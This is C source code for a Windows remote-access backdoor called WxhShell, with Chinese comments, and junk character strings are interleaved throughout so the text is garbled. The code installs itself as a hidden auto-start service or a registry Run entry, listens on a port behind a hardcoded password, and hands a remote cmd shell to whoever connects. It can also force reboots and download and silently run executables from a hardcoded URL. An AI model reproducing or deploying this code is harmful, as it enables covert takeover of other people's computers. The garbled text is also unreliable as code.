<|iU+.j\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ')V5hKb^ -y(V- if (!NtQueryInformationProcess) return 0; }tPl?P'` @~ L.m}GF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5ntP{p%> if(!hProcess) return 0; zL'n
J )frtvN7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A9gl|II iz(+(M CloseHandle(hProcess); '3VrHL@@g 9E+lriyY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !%@{S8IP.v if(hProcess==NULL) return 0; Gov{jksr B!v1gh HMODULE hMod; CHB{P\WF char procName[255]; "/"k50% unsigned long cbNeeded; ='j Z5=!R$4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V'$
eun |&Q=9H*e CloseHandle(hProcess); {cA )jW\' L8J/GVmj if(strstr(procName,"services")) return 1; // 以服务启动 }2@$2YR[ :O%O``xT return 0; // 注册表启动 s>X;m.< } 10&A3C(E ceCshxTU // 主模块 ;Z*RCuwg int StartWxhshell(LPSTR lpCmdLine) d\f5\Y { {Hv=iVmt SOCKET wsl; !l|Qyk[ BOOL val=TRUE; 4$"Lf'sH6 int port=0; PhS"tOGtX struct sockaddr_in door; dEiX!k$# {65X37W if(wscfg.ws_autoins) Install(); o6R(BMwGa ^5+-7+-S port=atoi(lpCmdLine); Mi/_hzZ\ )C@,mgh if(port<=0) port=wscfg.ws_port; Nvi14,q/ = DgD&_ WSADATA data; ~gc)Ww0(Q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pK`rm"6G itU01 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; l
O^h)hrR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V4H+m,R door.sin_family = AF_INET; k<qQ+\X door.sin_addr.s_addr = inet_addr("127.0.0.1"); MqqS3
door.sin_port = htons(port); a#1X)ot AN;?`AM; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WA/\x closesocket(wsl); h4#5j'RO return 1; `6A"eDa } ]Vsze4>Z[ c2nZd.SD| if(listen(wsl,2) == INVALID_SOCKET) { >XF@=Jp closesocket(wsl); ZS-9|EA< return 1; |&JL6hN } L0Cf@~k Wxhshell(wsl); /iK )tl|X WSACleanup(); ZttL*KK _W+TZa@_ return 0; rW^&8E[ +uA<g`4 } I2dt#
,Y!)V // 以NT服务方式启动 'K1w.hC< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7qk61YBLz { ?9mY #_Of DWORD status = 0; ~$$V=$& DWORD specificError = 0xfffffff; !m;VWGl* rtpjx% serviceStatus.dwServiceType = SERVICE_WIN32; l>ttxYBa<d serviceStatus.dwCurrentState = SERVICE_START_PENDING; Qi%A/~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z 4-wvn<* serviceStatus.dwWin32ExitCode = 0; t^'1Ebg serviceStatus.dwServiceSpecificExitCode = 0; Uu(W62 serviceStatus.dwCheckPoint = 0; y^
:x2P serviceStatus.dwWaitHint = 0; [{ pc1U- !>tXib]: hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .^uu*S_ if (hServiceStatusHandle==0) return; (<CLftQKg ~(8A&!#,! status = GetLastError(); 8C2t0u;Y
. if (status!=NO_ERROR) (GV6%l#I { !EFd-fk serviceStatus.dwCurrentState = SERVICE_STOPPED; ;kbz(:wA serviceStatus.dwCheckPoint = 0; 6$f,DU serviceStatus.dwWaitHint = 0; =mZw71, serviceStatus.dwWin32ExitCode = status; 1/m/Iw@ serviceStatus.dwServiceSpecificExitCode = specificError; O ?4V($ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q,$x6YwE return; ;i]cmy } fq(e~Aqw$ rLnu\X=h$ serviceStatus.dwCurrentState = SERVICE_RUNNING; /~yqZD<O serviceStatus.dwCheckPoint = 0; &jJgAZ! serviceStatus.dwWaitHint = 0; /[q@=X& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NF.SGga } "*0
szz' +$-a:zx`l // 处理NT服务事件,比如:启动、停止 A!J5Wz>Q5 VOID WINAPI NTServiceHandler(DWORD fdwControl) (ZnA#% { ei5 S <n switch(fdwControl) !xvPG { WO{N@f^ case SERVICE_CONTROL_STOP: [bp"U*!9P serviceStatus.dwWin32ExitCode = 0; |qr[*c 3$1 serviceStatus.dwCurrentState = SERVICE_STOPPED; UY+~xzm serviceStatus.dwCheckPoint = 0; :$WRV- serviceStatus.dwWaitHint = 0; X;1q1X)K { YPM>FDxDB SetServiceStatus(hServiceStatusHandle, &serviceStatus); TKE)NIa } 2/~v return; i ]_fh C case SERVICE_CONTROL_PAUSE: a'\`Mi@rb serviceStatus.dwCurrentState = SERVICE_PAUSED; QV't+)uUVo break; y`BLIEI case SERVICE_CONTROL_CONTINUE: "7l}X{b serviceStatus.dwCurrentState = SERVICE_RUNNING; \yxr@z1_b break; %~h'#S2X( case SERVICE_CONTROL_INTERROGATE: HwcGbbX) break; eAqQ~)8^ }; l YhwV\3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); O<Kr6+
- } gW, ET #RSxo
4 // 标准应用程序主函数 |\ay^@N int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NlDM/ { \)v.dQ! 8(A:XQN"h // 获取操作系统版本 'Go'87+` OsIsNt=GetOsVer(); ,&k5Qq GetModuleFileName(NULL,ExeFile,MAX_PATH); wOsr#t7 [9L(4F20 // 从命令行安装 ?>&8,p17 if(strpbrk(lpCmdLine,"iI")) Install(); @|^Ch+%@ jIl-}/2 // 下载执行文件 x:2_FoQ if(wscfg.ws_downexe) { BgRiJFa.d[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ''6"Xi|5 WinExec(wscfg.ws_filenam,SW_HIDE); 0I
k@d'7 } Dn@ n:m _ %P%~`?! if(!OsIsNt) { F 6Ol5 // 如果时win9x,隐藏进程并且设置为注册表启动 u
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m8 HideProc(); we@bq,\w StartWxhshell(lpCmdLine); |amEuKJ } 2c~^|@ else ux }DWrR if(StartFromService()) dlU=k9N- // 以服务方式启动 UX0tI0.tg StartServiceCtrlDispatcher(DispatchTable); *iR`mZb else ] *Hz' // 普通方式启动 6nDx;x&Q StartWxhshell(lpCmdLine); (lm/S_U$ L{=z}QO return 0; P~#jvm! } N >z8\y / [19ITZ #B?7{#.1 ,P:.' =========================================== 4>|5B: 4[#.N
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ipmzg(S #include <stdio.h> $ D89|sy #include <string.h> HaSH0eTw #include <windows.h> UOY1^wY #include <winsock2.h> UWnH2 #include <winsvc.h> &A9+%kOk> #include <urlmon.h> <Du*Re6g N+tS:$V #pragma comment (lib, "Ws2_32.lib") {/Cd ^CK #pragma comment (lib, "urlmon.lib")
~)Z`Q g %Am[fb #define MAX_USER 100 // 最大客户端连接数 M}vPWWcl #define BUF_SOCK 200 // sock buffer 4 A<c@g2 #define KEY_BUFF 255 // 输入 buffer CuGk?i zknD(%a #define REBOOT 0 // 重启 cnsGP*w #define SHUTDOWN 1 // 关机 =_86{wlk Xnh1pwDhe< #define DEF_PORT 5000 // 监听端口 w5;EnI Z`%;bP: #define REG_LEN 16 // 注册表键长度 l{R)yTO #define SVC_LEN 80 // NT服务名长度 Xu$*ZJ5w aZ^lI
6@+4 // 从dll定义API ^>"?!lv typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :b=0_<G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bc ZonS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IIPf5
Z}A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pxF!<nN1, 9f@)EKBK // wxhshell配置信息 0(kp>%mbB struct WSCFG { +u#x[xO int ws_port; // 监听端口 7%'<}u char ws_passstr[REG_LEN]; // 口令 |RmBa'.)z int ws_autoins; // 安装标记, 1=yes 0=no cBA[D~s char ws_regname[REG_LEN]; // 注册表键名 Nt'5} char ws_svcname[REG_LEN]; // 服务名 zk]~cG5dT/ char ws_svcdisp[SVC_LEN]; // 服务显示名 K?>&Mr char ws_svcdesc[SVC_LEN]; // 服务描述信息 }u&JX char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &-zI7@! int ws_downexe; // 下载执行标记, 1=yes 0=no U}7[8&k1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
pGFocw char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t0q@]
0B5 7^L&YVW }; S]N4o'K}q "f3>20} // default Wxhshell configuration H1]\B: struct WSCFG wscfg={DEF_PORT, @^ e@.) "xuhuanlingzhe", :uEp7Y4 1, pIXQ/(h31 "Wxhshell", ox6rR
"Wxhshell", .DQ]q o]OG "WxhShell Service",
Ojs\2('u "Wrsky Windows CmdShell Service", L:<'TXsRA "Please Input Your Password: ", ke0W? 1, D8ly8]H "http://www.wrsky.com/wxhshell.exe", .EdV36$n "Wxhshell.exe" _=MWt_A '3 }; hD*?\bBs0 D.!4i.)8} // 消息定义模块 $d"+Njd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V*aTDU%-. char *msg_ws_prompt="\n\r? for help\n\r#>"; !8g
y)2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ie~~L U char *msg_ws_ext="\n\rExit."; EkX6> mo char *msg_ws_end="\n\rQuit."; 0#JBz\ char *msg_ws_boot="\n\rReboot..."; R<=t{vTJ5 char *msg_ws_poff="\n\rShutdown..."; QZlUUj\
char *msg_ws_down="\n\rSave to "; 6D0,ME# 0TpA3K char *msg_ws_err="\n\rErr!"; 8`2K=`]ES+ char *msg_ws_ok="\n\rOK!"; ;W].j%]Le CmTJa5: char ExeFile[MAX_PATH]; =N
c`hP int nUser = 0; ;vitg"Zh> HANDLE handles[MAX_USER]; d1-p];& int OsIsNt; 93\,m+- >MT)=4
9q SERVICE_STATUS serviceStatus; 4pqZ!@45| SERVICE_STATUS_HANDLE hServiceStatusHandle; AMdS+(J hs4r5[ // 函数声明 wOOPWwk int Install(void); |>4 { 4 int Uninstall(void); \K6J{;# L int DownloadFile(char *sURL, SOCKET wsh); F'I6aE% int Boot(int flag); kQ8WO|bA void HideProc(void); tpN}9N int GetOsVer(void); Zux2VepT int Wxhshell(SOCKET wsl); 2"O Y]d void TalkWithClient(void *cs); #7=LI\ int CmdShell(SOCKET sock); U4gwxK int StartFromService(void); .Dm{mV@*T int StartWxhshell(LPSTR lpCmdLine); 0h#M)Ft TE~@Bl;{?c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H JiP:{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); sYpogFfV [w f12P // 数据结构和表定义 [78
.%b' SERVICE_TABLE_ENTRY DispatchTable[] = @Hh"Y1B { B}X#oA {wscfg.ws_svcname, NTServiceMain}, e=jO_[ {NULL, NULL} 7Cf(y'w^ }; bSLj-vp AHGcWS\,X // 自我安装 =&b[V" int Install(void) #4M0%rN { &/9oi_r%r char svExeFile[MAX_PATH]; t^hkGYj!2 HKEY key; SfUUo9R(sm strcpy(svExeFile,ExeFile); 3iw9jhK!W j&.BbcE45 // 如果是win9x系统,修改注册表设为自启动 7krA+/Qr( if(!OsIsNt) { d}_c( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z7C1&bGe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =*jcO119L RegCloseKey(key); -e>)yM `i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z"Oa5V6[A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vm.@qO*= RegCloseKey(key); Y=Qf!Cq] return 0; aehMLl9cl } `'WLGQG } Kf#!IY][ } 5eA]7$ic else { m12B:f 9DX3]Z\7X // 如果是NT以上系统,安装为系统服务 G,*s9P]1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ISew]R2 if (schSCManager!=0) "'Uk0>d=_I { B:cOcd?p SC_HANDLE schService = CreateService fx:KH:q3 ( 6l'y schSCManager, h>0<@UP wscfg.ws_svcname, %<yM=1~> wscfg.ws_svcdisp, M7,MxwZ0k SERVICE_ALL_ACCESS, >N-% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4sjr\9IDC SERVICE_AUTO_START,
+;;%Atgn SERVICE_ERROR_NORMAL, 1o>R\g3 svExeFile, 8[;oUVb5 NULL, (B<AK4G NULL, o[hP&9>q NULL, 79H+~1Az NULL, (14kR NULL B}+9U ); &Q>'U6"% if (schService!=0) nD\os[ 3 { [dlH
t;S CloseServiceHandle(schService); J|S^K kC CloseServiceHandle(schSCManager); mcr#Ze
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "%*lE0Tx strcat(svExeFile,wscfg.ws_svcname); ( y*X8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !#1A7[WN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X388Gs;e RegCloseKey(key); twmJ return 0; mX@*2I } y51D-vj } E^a`IA CloseServiceHandle(schSCManager); 9X9zIh]JV } QYXx7h r=$ } 'hw@l>1\9 92VX5?Cyg return 1; `e>F<{
M6@ } @n*D>g 6xh#;+e} // 自我卸载 _PUm
Pom. int Uninstall(void) z.&%>%TPP { N09+id g HKEY key; Mk/!,N<h# h./vTNMc if(!OsIsNt) { ^jjJM| a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E:=KH\2f RegDeleteValue(key,wscfg.ws_regname); )+4}Ix/q RegCloseKey(key); E(kpK5h{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SoU'r]k1x RegDeleteValue(key,wscfg.ws_regname); Pl&`&N; RegCloseKey(key); =v$s+`cP return 0; YzW7;U
S } "UGj4^1f } =^y{@[p`( } Z !25xqNCd else { *jw$d8q2
kjC{Zr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XW_xNkpL5c if (schSCManager!=0) 8t:h { 0$Y 9>)O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ([dL:Fb if (schService!=0) 0gD59N'C { K6*UFO4}i if(DeleteService(schService)!=0) { vq:OH
H CloseServiceHandle(schService); 76Vyhf&7 CloseServiceHandle(schSCManager); J&ECm+2 return 0; [2 w<F[ } ]q[ CloseServiceHandle(schService); pUMB)(<k } w+q;dc8 CloseServiceHandle(schSCManager); agm5D/H]: } e$+f~~K } a05:iFoJ *R\/#Y| return 1; - b\V(@5 } _q$LrAT 6+nMH
+[ // 从指定url下载文件 QC5f:BwM int DownloadFile(char *sURL, SOCKET wsh) ^Z4q1i)JO { l3?,gd.- HRESULT hr; uj9tr`Zh
char seps[]= "/"; P,;b'-5C char *token; %>9+1lUhV char *file; +bc#GzVF char myURL[MAX_PATH]; 9#T%bB"J char myFILE[MAX_PATH]; ?V)C9@bp 1;:t~Y strcpy(myURL,sURL); nR@,ouB-$ token=strtok(myURL,seps); gLSG:7m@ while(token!=NULL) `TD%M`a { ?I2k6%a file=token; h3]@M$Y[ token=strtok(NULL,seps); Q@W|GOH3 } %f_OP$;fc UG"6RW @ GetCurrentDirectory(MAX_PATH,myFILE); AK
s39U' strcat(myFILE, "\\"); )Z8"uRTb0 strcat(myFILE, file); R(?<97 send(wsh,myFILE,strlen(myFILE),0); {I9N6BQ& send(wsh,"...",3,0); 7hF,gl5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EOPS? @ if(hr==S_OK) t>6x)2,TC return 0; c."bTq4tJ else r]JC~{ return 1; ,KhMzE8_a B==a } ;;w6b:}-c g"!#]LLe // 系统电源模块 ,;cel^.b int Boot(int flag) w{e3U7; { jQxPOl$- HANDLE hToken; ,hTwNVWI9 TOKEN_PRIVILEGES tkp; UC+7-y, VU`z|nBW@ if(OsIsNt) { x<*IF,o OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aEEz4,x_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uVq5fT`B tkp.PrivilegeCount = 1; V3 _b! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q3Z%a|3W AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9oje`Ay if(flag==REBOOT) { >^H'ZYzw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cwsoz return 0; hVipr hC } <nw<v9Z else { s
la*3~?* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ])QO% return 0; )+w/\~@ } WpJD=C% } B3cf] S% else { AFINm%\/0 if(flag==REBOOT) { ~X~xE]1o|U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $h,&b<- return 0; }c35FM, } 8!uL-_ Bn else { zr3q>]oma if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cZaF
f?]k return 0; @[5_C?2 } Mm5U`mB } 'Vm5Cs$ O$"bd~X return 1; 49xp2{ } K9C@dvFH Hb
A3*2 // win9x进程隐藏模块 C7b
5%a! void HideProc(void) 1Nl&4 YLO { |{7e#ww] cyGN3t9`. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?#BZ `H if ( hKernel != NULL ) JNxW6 cK { #aitESbT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <ELziE~>V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BcZEa^^~os FreeLibrary(hKernel); :kME } FE8+E\ U? ){O1&|z- return; qE#&) } qPXANx<^ J0?$v6S // 获取操作系统版本 Jw:Fj{D int GetOsVer(void) *=$[}!YG { CdBthOPX) OSVERSIONINFO winfo; Wj&<"Z6'm( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qa
6=W
GetVersionEx(&winfo); ^i{,z*vi if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y]+e
Df return 1; < -Hs<T|tW else :b<-[8d& return 0; mD D4_E2* } DL'd&;6 |`_ <@b // 客户端句柄模块 i(M(OR/4 int Wxhshell(SOCKET wsl) H_%d3 RI { [<D+pqh SOCKET wsh; xHEVR!&c4 struct sockaddr_in client; Q7CwQi DWORD myID; 6-*~t8 457fT | while(nUser<MAX_USER) 9nng}em>. { ?vZWUWa int nSize=sizeof(client); vQ:x%=] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'v'`
F*6 if(wsh==INVALID_SOCKET) return 1; 8lU;y)Z -d|BO[4j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5wzQ?07T_ if(handles[nUser]==0) Hi]vHG( closesocket(wsh); ojN`#%X else ?@Z7O.u nUser++; <KHv|)ak } Q?*
nuE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H{j~ihq7 wD<vg3e[H return 0; 5*JV )[ } {[Uti^)m% %:"
RzHN // 关闭 socket Jq#[uX void CloseIt(SOCKET wsh) 9Tzc(yCY { "NxOOLL closesocket(wsh); J*}VV9H nUser--; ijvNmn1k ExitThread(0); r@|R-Binz } T1lXYhAWS ^D9
/ // 客户端请求句柄 i'M^ez)u void TalkWithClient(void *cs) !?BW_vY { `[X6#`< f|X[gL,B SOCKET wsh=(SOCKET)cs;
P7}t lHX char pwd[SVC_LEN]; lP}o[Rd char cmd[KEY_BUFF]; :0nK`$' char chr[1]; _TZW|Dh-2F int i,j; ,"@w>WL<9 *GCA6X while (nUser < MAX_USER) { |tG05 +M D4AEZgC F, if(wscfg.ws_passstr) { @ L\-ZWq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5XzrS-I+X@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'GrRuT< //ZeroMemory(pwd,KEY_BUFF); ?$<SCN= i=0; d-hbvLn while(i<SVC_LEN) { jVX._bEGX
s0gJ f[ // 设置超时 <Cu'!h_nL fd_set FdRead; B:e.gtM5 struct timeval TimeOut; vAi"$e FD_ZERO(&FdRead); NV:>a FD_SET(wsh,&FdRead); JR/W9i TimeOut.tv_sec=8; ktN%!Mh\ TimeOut.tv_usec=0; kclp} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XlRw Z/Wc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d0'7efC+ HpW"lYW4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T48BRVX-F pwd=chr[0]; u06tDJ[ if(chr[0]==0xd || chr[0]==0xa) { !)NYW4" pwd=0; 0xN!DvCg>. break; w-J"zC } : @s8?eg i++; +:}kZDl@ X }
T:c7@^= ex.+'m<g // 如果是非法用户,关闭 socket &8Zeq3~ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3b#L17D3_ } j0AwL7 }|AX_=a send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >+L7k^[,0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |Es0[cU U> W|(Y while(1) { m[8IEKo =ntftSH ZeroMemory(cmd,KEY_BUFF); j(&GVy^;? HB%K|&!+ // 自动支持客户端 telnet标准 !zU/Hq{wcK j=0; xf'LR[M while(j<KEY_BUFF) { miwf&b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9p5= _ cmd[j]=chr[0]; yGRR8F5>( if(chr[0]==0xa || chr[0]==0xd) { M/*Bh,M` cmd[j]=0; :*=Ns[Y break; iM8sX
B } Hyf"iYv+ j++; {JXf*IJ } kl=xu3j b,9@P&=:2 // 下载文件 g-XKP if(strstr(cmd,"http://")) { N5yJ'i~,M send(wsh,msg_ws_down,strlen(msg_ws_down),0);
l@xWQj9 if(DownloadFile(cmd,wsh)) =`JW1dM send(wsh,msg_ws_err,strlen(msg_ws_err),0); cbfDB^_ else ;;M"hI3@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]7*kWc2 } vlvvi() else { WXLK89ev\ E!uJ6\ switch(cmd[0]) { [8.-(-/; I4ebkP gf // 帮助 36nyu_h:R case '?': { $_wo6/J5+D send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {aoMJJq break; 0fA=_=A, } B&
"RS // 安装 fSbS(a case 'i': { '(tj[&aL if(Install()) @`6}`k send(wsh,msg_ws_err,strlen(msg_ws_err),0); .wP/ai>} else e#1.T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); alVdQfu break; >:A<"wZ } as(; ] // 卸载 \Yd4gaY\o case 'r': { P:qz2Hw if(Uninstall()) nX )f'[ 7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); g@Ld"5$^2 else pzi q0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;vT<G3 break; )y`i@S}J } x7HA722w // 显示 wxhshell 所在路径 ]W;:|/,c case 'p': { *U_S1>0n char svExeFile[MAX_PATH]; =PZWS&(L strcpy(svExeFile,"\n\r"); pcnl0o~ strcat(svExeFile,ExeFile); {tc57jsr send(wsh,svExeFile,strlen(svExeFile),0); 0Q`&inwh break; j|mv+O } Z&-tMai; // 重启 1\y@E case 'b': { w763zi{ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Od-Ax+Hp if(Boot(REBOOT)) WtVf wC_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); fgmSgG"b else { Dm^l?Z closesocket(wsh); #~S>K3( ExitThread(0); Q,~x# } >nK%^T break; TtZ}"MPZ } $R?@L // 关机 7*/J4M N case 'd': { |g!`\@O send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s%O Y<B@V2 if(Boot(SHUTDOWN)) I>aGp|4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^&NN]? else { t3a#%'Dv closesocket(wsh); l#$TYJi ExitThread(0); NV6G.x } _4v"")Xe break; l!:^6i } C `6S}f, // 获取shell Im+7<3Z case 's': { !b63ik15O~ CmdShell(wsh); WL1\y| closesocket(wsh); $ser+Jt= ExitThread(0); !W
/C[$E break; *QE"K2\5 } *gDl~qNRoS // 退出 NH4?q!'G case 'x': { ^Q\XGl send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qe%V#c CloseIt(wsh); #Kl}= 1
4 break; ot }6D } #1gO?N(<= // 离开 ;{gT=,KQ` case 'q': { O1'K>teF% send(wsh,msg_ws_end,strlen(msg_ws_end),0); +`Pmq}ey closesocket(wsh); W-m"@<Z WSACleanup(); E30Z`$cz: exit(1); MMd.0JuaO break; `XgFga) } B`1kG Ex . } ?-,6<K1 } 8kH<$9 3+V#[JBJv // 提示信息 `[Sl1saZ$S if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $@.jZ_G } e2wvc/gG6 } F&az": H%z/v|e6 return; PJK9704 6 } *HeVACxo 9go))&`PJL // shell模块句柄 T?rH
,$: int CmdShell(SOCKET sock) >
c:Zx! { F>-}*o STARTUPINFO si; m#n]Wgp' ZeroMemory(&si,sizeof(si)); 8wmQ4){ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b 4OnZ;FI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l!@ 1u^v2 PROCESS_INFORMATION ProcessInfo; (O0byu} char cmdline[]="cmd"; p[qg&VKB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yWY|]Pp return 0; J>h;_jA } EEwWucQ c1#+Vse // 自身启动模式 F0.z i>5 int StartFromService(void) 2*'ciH37 { JDlBVZ! typedef struct ) rpq+~b { %*K;np-q{ DWORD ExitStatus; 1tGgDbJU DWORD PebBaseAddress; MI*Sq\-i DWORD AffinityMask; !y[3]8Xxv DWORD BasePriority; u"Y]P*[k ULONG UniqueProcessId; Nfaf;;J} ULONG InheritedFromUniqueProcessId; [K:29N9~4 } PROCESS_BASIC_INFORMATION; 'RLOV CXAVGO'xw PROCNTQSIP NtQueryInformationProcess; |}Ph"g2D, 5g0_WpO static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; onnugj3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -_>.f(1 moG~S] HANDLE hProcess; l"\uf(0K PROCESS_BASIC_INFORMATION pbi; U=m=1FYaG m&/=&S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~kb{K; if(NULL == hInst ) return 0; PeNF+5s/K _ECB^s_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S>t>6&A g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OZOb1D NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [r9d<Zi}{ nzuF]vo if (!NtQueryInformationProcess) return 0; xS+rHC eY}V9*.v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wS$46M< if(!hProcess) return 0; u"Fjw F? "b%FmM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]w[ThHRJ U^ ?=
0+ CloseHandle(hProcess); 1;&T^Gdj -J?~U2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0>@[o8 if(hProcess==NULL) return 0; M-Sv1ZLh :Q-F9o
J HMODULE hMod; '5rUe\k char procName[255]; &t3Jv{ unsigned long cbNeeded; w2zp#;d hW'
HT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %\I.DEYH mx}E$b$<CY CloseHandle(hProcess); XTo8,'UaP 'n4u-pM(nB if(strstr(procName,"services")) return 1; // 以服务启动 q-IWRb0j%a ( 3;`bvYH" return 0; // 注册表启动 P']Y(
